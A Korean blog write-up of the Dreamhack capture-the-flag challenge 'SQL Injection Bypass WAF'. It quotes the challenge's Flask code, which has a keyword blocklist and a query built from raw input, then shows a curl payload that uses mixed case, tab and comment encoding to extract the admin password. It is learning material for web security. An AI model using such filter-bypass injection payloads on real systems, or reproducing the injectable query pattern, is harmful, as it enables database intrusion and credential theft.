[Dreamhack] SQL Injection Bypass WAF
우선 코드를 보자.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
keywords로 union, select, from, and, or, admin, 공백, *, /가 포함되어 있는지 검사하고있다. 그러나 이 키워드만 피하면 쿼리를 입력값으로 직접 삽입하는 것을 보아 SQL Injection취약점이 발생한다. check_WAF를 보면 키워드 부분을 검사하는데 대문자든 소문자든 변환을 해주지않고 그냥 키워드만 검사하는 것을 확인할 수 있었다. MySQL DBMS는 대소문자를 구분하지 않기 때문에 Union이라든지 From이라든지 대소문자를 이용하여 키워드검사를 우회해보자.
admin이 필터링 되니 Admin을 넣었더니 정상적으로 출력되는 것을 알 수 있었다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
db명은 users이고 테이블은 user이며 컬럼 idx,uid,upw 이 순서로 존재하는 것을 알 수 있었다. 또한 admin계정에 upw가 플래그임을 확인할 수 있었다. 그럼 이제 키워드를 우회하여 구문을 작성해보자.
curl "http://host3.dreamhack.games:23015/?uid='Union%09Select%091,upw,2%09From%09user%09where%09uid=\"Admin\"%23"
공백 우회하기위해 탭사용을 하려 했고 url인코딩을 통해 %09를 사용했다. 또한 /*주석을 사용하지 못하여 #을 url인코딩하여 %23을 사용해 코드를 작성했다. 폼에서 사용하고 싶었지만 %09라든지 %23이라든지 키워드를 우회하기위해서 사용했던 인코딩들이 더블 인코딩되어버리는 바람에 curl을 이용했다. 시간이 남는다면 폼에서도 flag값을 받아보도록 다시 짜보고싶다...빡공팟이 끝나고 다시 해봐야할 것들이 되게 많아진다. 연구욕심같은..?
위는 curl을 이용해 얻은 결과다. flag값을 성공적으로 획득했다.
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] NoSQL-CouchDB (0) | 2023.01.11 |
---|---|
[Dreamhack] SQL Injection Bypass WAF Advanced (0) | 2023.01.11 |
[Dreamhack] error based sql injection (0) | 2023.01.11 |
[Dreamhack] blind sql injection advanced (0) | 2023.01.10 |
[Dreamhack] DOM XSS (0) | 2023.01.10 |